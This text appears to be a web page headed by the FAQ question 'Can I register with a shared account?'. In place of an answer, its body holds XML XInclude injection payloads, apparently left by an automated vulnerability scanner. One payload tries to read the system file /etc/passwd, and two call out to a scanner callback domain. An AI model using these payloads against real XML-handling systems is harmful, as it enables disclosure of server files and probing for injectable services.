Can I register with a shared account?

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="http://7nacddjc3wrlord42bz5ery73gqvgbbsq6o3eziy67hr3s65gkha.was.nessus.org"/></foo>

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="http://7nacddjc3wrlord42bz5ery73gqvgbbsq6o3eziy67hr3s65gkha.was.nessus.org"/></foo>

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